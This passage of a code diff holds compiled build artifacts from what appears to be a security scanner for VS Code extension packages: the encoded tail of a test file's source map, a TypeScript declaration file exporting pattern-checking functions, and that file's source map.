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"}
@@ -0,0 +1,5 @@
1
+ import type { Finding, VsixContents } from "../types.js";
2
+ export declare function checkPatterns(contents: VsixContents): Finding[];
3
+ export declare function checkNativeFiles(contents: VsixContents): Finding[];
4
+ export declare function checkAllPatterns(contents: VsixContents): Finding[];
5
+ //# sourceMappingURL=patterns.d.ts.map
@@ -0,0 +1 @@
1
+ {"version":3,"file":"patterns.d.ts","sourceRoot":"","sources":["../../../src/scanner/checks/patterns.ts"],"names":[],"mappings":"AACA,OAAO,KAAK,EAAE,OAAO,EAAY,YAAY,EAAE,MAAM,aAAa,CAAC;AAiNnE,wBAAgB,aAAa,CAAC,QAAQ,EAAE,YAAY,GAAG,OAAO,EAAE,CAuC/D;AAED,wBAAgB,gBAAgB,CAAC,QAAQ,EAAE,YAAY,GAAG,OAAO,EAAE,CAmClE;AAED,wBAAgB,gBAAgB,CAAC,QAAQ,EAAE,YAAY,GAAG,OAAO,EAAE,CAElE"}